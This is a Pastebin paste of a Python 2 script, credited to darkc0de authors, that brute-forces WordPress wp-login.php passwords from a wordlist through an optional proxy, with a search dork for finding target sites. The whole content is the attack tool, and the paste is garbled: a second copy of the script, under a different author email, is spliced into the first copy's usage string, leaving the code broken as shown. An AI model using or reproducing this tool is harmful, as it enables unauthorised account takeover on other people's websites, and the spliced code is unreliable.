JuneAttacker

Wordpress BruteForce

Jun 22nd, 2014
353
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.70 KB | None | 0 0
  1.  
  2.  #!/usr/bin/python
  3.  
  4. #WordPress Brute Force (wp-login.php)
  5.  
  6.  
  7.  
  8. #If cookies enabled brute force will not work (yet)
  9.  
  10. #Change response on line 97 if needed. (language)
  11.  
  12.  
  13.  
  14. #Dork: inurl:wp-login.php
  15.  
  16.  
  17.  
  18. #http://www.darkc0de.com
  19.  
  20. #d3hydr8[at]gmail[dot]com
  21.  
  22.  
  23.  
  24. import urllib2, sys, re, urllib, httplib, socket
  25.  
  26.  
  27.  
  28. print "\n   d3hydr8[at]gmail[dot]com WordPressBF "
  29.  
  30. print "----------------------------------------------"
  31.  
  32.  
  33.  
  34. if len(sys.argv) not in [4,5,6,7]:
  35.  
  36.         print "Usage: ./wordpressbf.py <site> <user> <wordlist> <options>\#!/usr/bin/python
  37.  
  38. #WordPress Brute Force (wp-login.php)
  39.  
  40.  
  41.  
  42. #If cookies enabled brute force will not work (yet)
  43.  
  44. #Change response on line 97 if needed. (language)
  45.  
  46.  
  47.  
  48. #Dork: inurl:wp-login.php
  49.  
  50.  
  51.  
  52. #http://www.darkc0de.com
  53.  
  54. #ilyasrobert[at]gmail[dot]com
  55.  
  56.  
  57.  
  58. import urllib2, sys, re, urllib, httplib, socket
  59.  
  60.  
  61.  
  62. print "\n   ilyasrobert[at]gmail[dot]com WordPressBF "
  63.  
  64. print "----------------------------------------------"
  65.  
  66.  
  67.  
  68. if len(sys.argv) not in [4,5,6,7]:
  69.  
  70.        print "Usage: ./wordpressbf.py <site> <user> <wordlist> <options>\n"
  71.  
  72.        print "\t   -p/-proxy <host:port> : Add proxy support"
  73.  
  74.        print "\t   -v/-verbose : Verbose Mode\n"
  75.  
  76.        sys.exit(1)
  77.  
  78.      
  79.  
  80. for arg in sys.argv[1:]:
  81.  
  82.        if arg.lower() == "-p" or arg.lower() == "-proxy":
  83.  
  84.               proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  85.  
  86.        if arg.lower() == "-v" or arg.lower() == "-verbose":
  87.  
  88.               verbose = 1
  89.  
  90.              
  91.  
  92. try:
  93.  
  94.        if proxy:
  95.  
  96.               print "\n[+] Testing Proxy..."
  97.  
  98.               h2 = httplib.HTTPConnection(proxy)
  99.  
  100.               h2.connect()
  101.  
  102.               print "[+] Proxy:",proxy
  103.  
  104. except(socket.timeout):
  105.  
  106.        print "\n[-] Proxy Timed Out"
  107.  
  108.        proxy = 0
  109.  
  110.        pass
  111.  
  112. except(NameError):
  113.  
  114.        print "\n[-] Proxy Not Given"
  115.  
  116.        proxy = 0
  117.  
  118.        pass
  119.  
  120. except:
  121.  
  122.        print "\n[-] Proxy Failed"
  123.  
  124.        proxy = 0
  125.  
  126.        pass
  127.  
  128.      
  129.  
  130. try:
  131.  
  132.        if verbose == 1:
  133.  
  134.               print "[+] Verbose Mode On\n"
  135.  
  136. except(NameError):
  137.  
  138.        print "[-] Verbose Mode Off\n"
  139.  
  140.        verbose = 0
  141.  
  142.        pass
  143.  
  144.      
  145.  
  146. if sys.argv[1][:7] != "http://":
  147.  
  148.        host = "http://"+sys.argv[1]
  149.  
  150. else:
  151.  
  152.        host = sys.argv[1]
  153.  
  154.      
  155.  
  156. print "[+] BruteForcing:",host
  157.  
  158. print "[+] User:",sys.argv[2]
  159.  
  160.  
  161.  
  162. try:
  163.  
  164.        words = open(sys.argv[3], "r").readlines()
  165.  
  166.        print "[+] Words Loaded:",len(words),"\n"
  167.  
  168. except(IOError):
  169.  
  170.        print "[-] Error: Check your wordlist path\n"
  171.  
  172.        sys.exit(1)
  173.  
  174.  
  175.  
  176. for word in words:
  177.  
  178.        word = word.replace("\r","").replace("\n","")
  179.  
  180.        login_form_seq = [
  181.  
  182.        ('log', sys.argv[2]),
  183.  
  184.        ('pwd', word),
  185.  
  186.        ('rememberme', 'forever'),
  187.  
  188.        ('wp-submit', 'Login >>'),
  189.  
  190.               ('redirect_to', 'wp-admin/')]
  191.  
  192.        login_form_data = urllib.urlencode(login_form_seq)
  193.  
  194.        if proxy != 0:
  195.  
  196.               proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
  197.  
  198.               opener = urllib2.build_opener(proxy_handler)
  199.  
  200.        else:
  201.  
  202.               opener = urllib2.build_opener()
  203.  
  204.        try:
  205.  
  206.               site = opener.open(host, login_form_data).read()
  207.  
  208.        except(urllib2.URLError), msg:
  209.  
  210.               print msg
  211.  
  212.               site = ""
  213.  
  214.               pass
  215.  
  216.  
  217.  
  218.        if re.search("WordPress requires Cookies",site):
  219.  
  220.               print "[-] Failed: WordPress has cookies enabled\n"
  221.  
  222.               sys.exit(1)
  223.  
  224.              
  225.  
  226.        #Change this response if different. (language)
  227.  
  228.        if re.search("<strong>ERROR</strong>",site) and verbose == 1:
  229.  
  230.               print "[-] Login Failed:",word
  231.  
  232.        else:
  233.  
  234.               print "\n\t[!] Login Successfull:",sys.argv[2],word,"\n"
  235.  
  236.               sys.exit(1)
  237.  
  238. print "\n[-] Brute Complete\n"n"
  239.  
  240.         print "\t   -p/-proxy <host:port> : Add proxy support"
  241.  
  242.         print "\t   -v/-verbose : Verbose Mode\n"
  243.  
  244.         sys.exit(1)
  245.  
  246.        
  247.  
  248. for arg in sys.argv[1:]:
  249.  
  250.         if arg.lower() == "-p" or arg.lower() == "-proxy":
  251.  
  252.                proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  253.  
  254.         if arg.lower() == "-v" or arg.lower() == "-verbose":
  255.  
  256.                verbose = 1
  257.  
  258.              
  259.  
  260. try:
  261.  
  262.         if proxy:
  263.  
  264.                print "\n[+] Testing Proxy..."
  265.  
  266.                h2 = httplib.HTTPConnection(proxy)
  267.  
  268.                h2.connect()
  269.  
  270.                print "[+] Proxy:",proxy
  271.  
  272. except(socket.timeout):
  273.  
  274.         print "\n[-] Proxy Timed Out"
  275.  
  276.         proxy = 0
  277.  
  278.         pass
  279.  
  280. except(NameError):
  281.  
  282.         print "\n[-] Proxy Not Given"
  283.  
  284.         proxy = 0
  285.  
  286.         pass
  287.  
  288. except:
  289.  
  290.         print "\n[-] Proxy Failed"
  291.  
  292.         proxy = 0
  293.  
  294.         pass
  295.  
  296.        
  297.  
  298. try:
  299.  
  300.         if verbose == 1:
  301.  
  302.                print "[+] Verbose Mode On\n"
  303.  
  304. except(NameError):
  305.  
  306.         print "[-] Verbose Mode Off\n"
  307.  
  308.         verbose = 0
  309.  
  310.         pass
  311.  
  312.        
  313.  
  314. if sys.argv[1][:7] != "http://":
  315.  
  316.         host = "http://"+sys.argv[1]
  317.  
  318. else:
  319.  
  320.         host = sys.argv[1]
  321.  
  322.        
  323.  
  324. print "[+] BruteForcing:",host
  325.  
  326. print "[+] User:",sys.argv[2]
  327.  
  328.  
  329.  
  330. try:
  331.  
  332.         words = open(sys.argv[3], "r").readlines()
  333.  
  334.         print "[+] Words Loaded:",len(words),"\n"
  335.  
  336. except(IOError):
  337.  
  338.         print "[-] Error: Check your wordlist path\n"
  339.  
  340.         sys.exit(1)
  341.  
  342.  
  343.  
  344. for word in words:
  345.  
  346.         word = word.replace("\r","").replace("\n","")
  347.  
  348.         login_form_seq = [
  349.  
  350.         ('log', sys.argv[2]),
  351.  
  352.         ('pwd', word),
  353.  
  354.         ('rememberme', 'forever'),
  355.  
  356.         ('wp-submit', 'Login >>'),
  357.  
  358.                ('redirect_to', 'wp-admin/')]
  359.  
  360.         login_form_data = urllib.urlencode(login_form_seq)
  361.  
  362.         if proxy != 0:
  363.  
  364.                proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
  365.  
  366.                opener = urllib2.build_opener(proxy_handler)
  367.  
  368.         else:
  369.  
  370.                opener = urllib2.build_opener()
  371.  
  372.         try:
  373.  
  374.                site = opener.open(host, login_form_data).read()
  375.  
  376.         except(urllib2.URLError), msg:
  377.  
  378.                print msg
  379.  
  380.                site = ""
  381.  
  382.                pass
  383.  
  384.  
  385.  
  386.         if re.search("WordPress requires Cookies",site):
  387.  
  388.                print "[-] Failed: WordPress has cookies enabled\n"
  389.  
  390.                sys.exit(1)
  391.  
  392.              
  393.  
  394.         #Change this response if different. (language)
  395.  
  396.         if re.search("<strong>ERROR</strong>",site) and verbose == 1:
  397.  
  398.                print "[-] Login Failed:",word
  399.  
  400.         else:
  401.  
  402.                print "\n\t[!] Login Successfull:",sys.argv[2],word,"\n"
  403.  
  404.                sys.exit(1)
  405.  
  406.  
  407. print "\n[-] Brute Complete\n"
Advertisement
Add Comment
Please, Sign In to add comment